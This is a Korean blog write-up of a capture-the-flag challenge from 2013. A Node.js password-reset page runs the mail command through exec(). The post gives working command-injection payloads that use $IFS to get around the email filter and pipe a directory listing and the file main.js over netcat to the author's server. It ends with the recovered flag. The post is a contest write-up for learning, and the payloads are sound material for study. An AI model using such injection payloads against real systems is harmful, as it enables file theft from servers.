2013. 9. 15. 21:28


[white hacking] 화이트 해킹대회 MMMMYYYYYYYYY PPPPAAAASSSWWWOOORRRDDD!!!!!!(150 points)



Solved by 광운


Node.js 코드가 주어지고 사이트에 접근 할 수 있는 주소가 주어진다.

주소로 들어가보면 간단하게 회원가입을 할 수 있고 패스워드를 찾을 수 있는 페이지 가 존재한다.


패스워드를 찾아주는 곳에 아이디를 넣고 전송을 누르면 [인증 코드]가 메일로 오는 것을 확인 할 수 있었다. 





주어진 Node.js 소스코드를 보니 E-mail이 오는 부분을 확인 할 수 있었는데, mail 이라는 명령어를 exec()를 사용하여 이메일을 보내는 것을 확인 할 수 있었고, 이를 보면 email 안에 특정 명령어를 같이 실행 시켜서 값을 찾아내야 했다.





메일에 어떠한 문자열들이 허가 되는지 부터 살펴보면 아래코드와 같다. 


아래 문자열과 더불어 띄어쓰기도 되지 않았다.


function validateEmail(email) {

        return /^(?:[\w\!\#\ \$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+\.)*[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+@(?:(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!\.)){0,61}[a-zA-Z0-9]?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!$)){0,61}[a-zA-Z0-9]?)|(?:\[(?:(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\.){3}(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\]))$/.test(email);

}


대충 사용 할 수 있는 문자열은 아래와 같다.


|,  a-z , 0-9 , $ , & , . , { , } '  정도였다.   


띄어쓰기 문제가 가장 컸는데, 환경변수에 띄어쓰기가 있는 것을 찾았다.


IFS 환경변수 


IFS 변수는 도스에서는 사용하지 않는 변수이다. 이것은 

사용자의 명령행중 공백 구분자를 표시하는 것으로 디폴 

트 값은 ' ' 이다. 즉, IFS 환경변수가 디폴트로 설정되 

어 있는 경우, 다음과 같은 형태로 명령을 내리는 것이 

가능하다. 



[myserver]

 #nc -lvp 8888 


[회원가입->패스워드 찾기] 

  &&ls'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //어떠한 파일들이 있는지 검사 


  &&cat$IFS'main.js'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //main.js를 내서버로 보냄 



[main.js 파일안에 flag가 있다 ] 


if (users[email] == pass) {

if (email == 'admin@beollejavi.kr')

res.end(JSON.stringify({'code': 0, 'id': email, 'msg': 'Contgrats! flag: WHC793b5f3b55d99590fc1a7ebc1654f66b'}));


key file : WHC793b5f3b55d99590fc1a7ebc1654f66b








Posted by k1rha